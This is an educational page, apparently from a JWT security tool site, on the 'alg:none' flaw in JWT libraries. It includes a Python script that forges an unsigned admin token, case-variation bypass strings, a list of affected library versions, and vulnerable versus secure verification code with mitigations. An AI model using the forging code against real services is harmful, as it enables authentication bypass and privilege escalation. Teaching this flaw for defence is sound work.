Algorithm None

RFC 7518 legitimises "none" as a valid algorithm. Vulnerable libraries accept unsigned tokens when the header says so.

The RFC loophole

RFC 7518 §3.6 defines none as a valid JWA algorithm identifier meaning "no digital signature or MAC performed." The specification intends this for use in contexts where integrity is guaranteed by other means (e.g., TLS with mutual authentication or a secure channel). Vulnerable JWT libraries treat none as a valid algorithm in all contexts - including arbitrary web API requests - effectively allowing any bearer to strip signature verification.

The exploit is deceptively simple. A standard JWT has three segments: header, payload, signature. To produce an alg:none token, the attacker changes the header algorithm, re-encodes, and removes the signature (leaving the trailing dot or omitting it entirely):

Crafting an alg:none token
import base64, json

def b64url(data: str) -> str:
    return base64.urlsafe_b64encode(data.encode()).rstrip(b"=").decode()

# Original: eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJ1c2VyIn0.SIG
# Attack: replace header, drop signature

header  = b64url(json.dumps({"alg": "none", "typ": "JWT"}))
payload = b64url(json.dumps({"sub": "admin", "role": "superuser"}))

# Three variants to try - different libraries accept different forms:
print(f"{header}.{payload}.")     # trailing dot, empty signature
print(f"{header}.{payload}")      # no trailing dot
print(f"{header}.{payload}.abc")  # non-empty but invalid signature

Case variation bypasses

After the initial 2015 disclosure, some libraries patched by checkingif alg == "none" - a case-sensitive string comparison. This left case variations as working bypasses for several months after the original patch:

Case variations (all accepted by some patched versions)
"alg": "none"   # original
"alg": "None"   # Python-style capitalisation
"alg": "NONE"   # uppercase
"alg": "nOnE"   # mixed case
"alg": "noNe"   # mixed case variant

The correct fix is a case-insensitive comparison against a strict allowlist of permitted algorithms, rejecting everything not explicitly allowed - including none in any casing.

Affected libraries (coordinated disclosure, 2015)

Tim McLean and the Auth0 security team independently discovered this class of vulnerability and coordinated disclosure with library maintainers. At least 8 major libraries were affected simultaneously:

JSnode-jsonwebtoken< 4.2.2PythonPyJWT< 1.0.0Rubyruby-jwt< 1.5.1PHPphp-firebase/php-jwt< 5.0.0PHPnamshi/jose< 1.2.2JSjsjwt< 1.2.0.NETjose-jwt< 2.1Javaauth0-java-jwt< 2.1.0

Vulnerable code patterns

node-jsonwebtoken ≤ 4.2.1

Vulnerable
const jwt = require('jsonwebtoken');

// No algorithms option → accepts any alg value including "none"
jwt.verify(token, secret, function(err, decoded) {
  // When alg=none, this callback fires with err=null
  // and decoded = the attacker's payload
  if (!err) doSomethingWithUser(decoded);
});
Secure (post-patch)
jwt.verify(token, secret, {
  algorithms: ['HS256'],   // explicit allowlist - rejects "none"
  audience:   'my-api',
  issuer:     'my-auth-server'
}, function(err, decoded) {
  if (err) return res.status(401).json({ error: 'Invalid token' });
  doSomethingWithUser(decoded);
});

PyJWT - algorithms parameter

Vulnerable
# PyJWT < 1.0.0: no algorithm enforcement
payload = jwt.decode(token, key)  # accepts alg:none

# Some versions also vulnerable to:
payload = jwt.decode(token, key, algorithms=[])  # empty list bypasses check
Secure
payload = jwt.decode(
    token,
    key,
    algorithms=["HS256"],          # non-empty, explicit allowlist
    options={"require": ["exp", "iat", "iss"]}
)
The empty algorithms list bypass
Some JWT libraries accept an empty algorithms=[] list and interpret it as "no restriction," which is the opposite of the intended semantics. Always pass a non-empty allowlist. Some libraries also accept algorithms=None with the same broken semantics.

The compact serialization angle

The JWT spec defines two serialization formats: compact (the dot-separated string) and JSON. The compact form always has exactly three segments. A valid alg:none token in compact form ends with a dot and an empty signature: header.payload.. Some parsers split on dots and expect exactly 3 parts - if the trailing dot is omitted, the parser may raise a parse error before the algorithm check even runs, blocking the attack. However, relying on a parse error to prevent a security bypass is not a defence.

Coordinated disclosure - 2015
  • Auth0 security bulletin documented bypasses in 8 libraries simultaneously
  • Case-variation bypasses survived in some libraries for months after the initial patch
  • Libraries that check alg !== "none" (case-sensitive) remain vulnerable to None / NONE
  • Still found in CTF challenges and legacy codebases using pinned old library versions

Mitigations

  • Enforce a strict algorithm allowlist - never accept any value not in the list
  • The allowlist check must be case-insensitive
  • Reject tokens with alg:none at the library level and at the application level
  • Upgrade all JWT libraries to current versions - this is a library-level bug, not just a configuration one
  • If none is legitimately needed (unusual), use a separate code path gated by explicit configuration, never auto-detected from the token
Unverified SignatureAlgorithm Confusion
GitHub
JWT Arsenal_
Loading cryptographic engineOK
Importing exploit modulesOK
Verifying secure contextOK
All systems operational
100% CLIENT-SIDE · NO DATA LEAVES YOUR BROWSER